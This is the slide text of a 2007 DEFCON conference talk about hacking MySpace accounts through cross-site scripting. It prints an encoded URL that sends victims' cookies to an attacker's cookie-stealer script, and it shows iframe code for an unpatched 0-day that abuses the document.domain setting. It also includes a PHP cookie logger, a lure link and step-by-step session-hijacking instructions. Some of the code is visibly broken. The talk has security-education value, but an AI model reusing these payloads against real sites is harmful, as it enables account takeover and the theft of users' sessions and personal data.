Hacking Social Lives: MySpace.com

Presented By Rick Deacon

DEFCON 15
August 3-5, 2007
A Quick Introduction

- Full-time IT Specialist at a CPA firm located in Beachwood, OH.
- Part-time Student at Lorain County Community College and the University of Akron.
  - Studying for Bachelor’s in Computer Information Systems – Networking.
- Information Technology for 7 years, security for 4 years.
- Published in 2600 Magazine.
- Other Interests: Cars, Music
Presentation Overview

- Introduction to MySpace.com
- Introduction to Cross Site Scripting
- Evading XSS Filters
- MySpace Session Information and Hijacking
- Tools Used to Exploit MySpace’s XSS
- Current 0-Day Exploit and Demonstration
- Ways to Prevent XSS Attacks
- Questions
- Closing
Intro to MySpace.com

- One of the largest social networking sites on the internet with millions of active users.
- Driven by various dynamic web applications.
  - Blogs, Pictures, Videos, Chat, IM, Searches, Classifieds, Music, Bulletins.
- Major impact on today’s society.
  - Personal Information
  - Source of Social Interaction
  - Television, Radio, Movies and Publications.
  - This Presentation
MySpace’s Security

- Vulnerable to many types of attacks.
  - Social Engineering
  - Phishing
  - Packet Capture
  - Viruses
  - Spam
  - Cross Site Scripting
Well Known Vulnerabilities

- **“Samy” Virus**
  - Used a worm to “Add” millions of people using XSS and some clever scripting.

- **QuickTime Virus**
  - Spread a MySpace virus by automatically editing profiles and adding phishing links when played.

- **Windows MetaFile Vulnerability**

- **Phishing Links**
  - Sent through compromised profiles to steal passwords and advertise.
Introduction to Cross Site Scripting

- Vulnerability found in MANY web applications. Also called XSS.
- Allows code injection
  - HTML, JavaScript, etc.
- Can be used for phishing or browser exploitation.
- Can be used for a form of session hijacking and cookie stealing.
- Can be identified easily with the proper methods.
Finding XSS Holes

- Easiest method is to simply try and insert code into an application.
- Embed JavaScript into an web application URL to display an alert
  - http://trustedsite.org/search.cgi?criteria=<script>alert('lolinternetz')</script>
- Link structure used above can also be deployed to display cookie information, redirect to a malicious script file, etc..

More information on XSS and how to quickly identify holes can be easily found with a quick search on Google.
XSS Hole Exploits

- XSS holes can be used for many purposes.
- A widely used purpose would be for cookie stealing/session information stealing.
- Cookie stealing can lead to information leakage as well as internet session hijacking.

Explanation
1. Attacker sends an authenticated user a link that contains XSS.
2. Link takes auth’d user to a site that will log their cookie.
3. Attacker reviews log file and steals information as necessary.
MySpace & XSS

- MySpace uses cookies. They are not tasty.
- These cookies contain session and login information. Also e-mail addresses and past search criteria.
- Cookie may contain an encrypted password.
- Session information can be used for a form of session hijacking.
- MySpace contains 100’s of undetected and undiscovered XSS vulnerabilities.
- This leaves MySpace open to pen-testing and attack.
MySpace’s XSS Filters

- MySpace and many sites deploy XSS filters.
- XSS filter looks for `<script>` tags or other disallowed tags such as `<embed>`.
- Filter censors these tags into “..”.
- Filter acts against XSS attempts and has closed/hindered very many XSS attacks.
- Filter is not consistent throughout the site.
- Portions of the site are more liberal with their tag allowances than others.
Evading MySpace’s Filters

- Filters are easily evaded using encoding.
- ASCII to HEX or Unicode.
- Simple encoding of `<script>` to `%3cscript%3e` evades the filter.
- Many of these evasions have been patched further to disallow that sort of activity, but many have not…
More Evasion

- Many more evasions to use.
  - Trial & Error is best.
- For good explanations and a bunch of ways to evade XSS filters check out:
  - http://ha.ckers.org/xss.html
Previous Exploits & Evasion

- Exploit uses the “Browse” function.
- Found using trial & error.
- Vulnerability lies within the User Search feature a.k.a. “Browse”.
- This exploit was used to steal cookies, and to hijack current user sessions in order to take full control of user accounts.
- Exploit has been patched.
“Browse” Exploit Encoded URL

http://searchresults.myspace.com/index.cfm?fuseaction=advancedFind.results&websearch=1&spotID=3&searchrequest=%22%3E%3Cdocument%2Elocation='http://www.yourwebserver.com/cgi/cookiestealer.cgi%3F%20'+document.cookie%3c/script%3e
Explanation of Exploit

- URL is encoded using HEX to evade the filter.
- XSS begins after "searchrequest=".
- The JavaScript points to a CGI file.
- The CGI file records document.cookie to a log file for review.
- Could be easily replaced with a redirect to malicious code on a foreign domain.
Captured Cookies
The Session & The Cookie

- The cookie is broken down into various parts designated by MySpace.
- Contains things last display name, last logged in e-mail, last search page, and various other things depending on what the user just did.
- Contains current session information that called MYUSERINFO.
- Session information is only valid until the user logs out of MySpace.
We are interested in MYUSERINFO mostly.

This is the authenticated user’s session.
Session Hijacking

- MYUSERINFO can be used to hijack the current session of the user.
- Once the user has clicked the link you have given them via MySpace message or other means, review the log file.
- Simply copy and paste the stolen MYUSERINFO into your current MySpace cookie and refresh your browser.
- Viola. You are now the user.
0-Day Explanation

- This exploit has been properly reported to MySpace’s security team and has not yet been patched.
- The exploit involves MySpace’s “Domain Generalization”.
- MySpace does not perform any sort of XSS filtering on cross-domain linking.
- Simply put a page with an IFrame containing MySpace on your web server, and use XSS to steal the cookie.
- User simply needs to click the link provided and since it is on your domain could be easily hidden as anything.
IFrame Code

- This code will need to be placed on a page on your web server.

```html
<script type="text/javascript">
document.domain = "com.";
</script>
<iframe src="http://home.myspace.com./" onload="stolen = escape(frames[0].document.cookie);
```
IFrame

- That simple IFrame with XSS embedded within it will steal the user’s cookie.
- Is more of a general vulnerability but contains the fundamentals of XSS.
- The PHP file the script calls simply calls a text file and writes the cookie to a line of it.
This is the PHP file that is called in the XSS.

```php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = fopen('cookielog.txt', 'a');
fwrite($file, $ip . "\n" . $cookie . "\n\n");

?>
```
The URL

- This is the URL that would need to be sent to an authenticated MySpace user.

  <a href=http://yourserver.com./caturdaylol.html> IT’S CATURDAY POST MOAR CATS</a>

- Note the .com. in the URL, which enables this exploit to work.
Limitations

- In this particular exploit, the user must be using Mozilla Firefox.
- The session only lasts until the user logs out.
- The person will know what link they recently clicked and who it was from.
- You may hurt your friends’ feelings. 😞
Demonstration
Tools

- Tools Used
  - Mozilla Firefox
  - Add N Edit Cookies (Firefox Extension)
  - Notepad (To Edit Scripts)
  - Brain (Or lack there of)
Useful Penetration Testing Tools

Mozilla Firefox Extensions:

- Tamper Data
  - Edit and view HTTP Requests.
- Add N Edit Cookies
  - Edit cookies.
- Firebug
  - Debug/modify web code actively.
- Firekeeper
  - Firefox IDS.
- HackBar
  - SQL Injection/XSS hole finder.
- SwitchProxy
- Torbutton
  - For use with Tor and Vidalia.

- Tor/Vidalia
  - P2P proxy.
- Paros
  - Web vulnerability scanning proxy.
- Acunetix Web Vulnerability Scanner
- Nikto/Wikto
  - Web pen testing utilities for Linux and Windows.
Questions?
Closing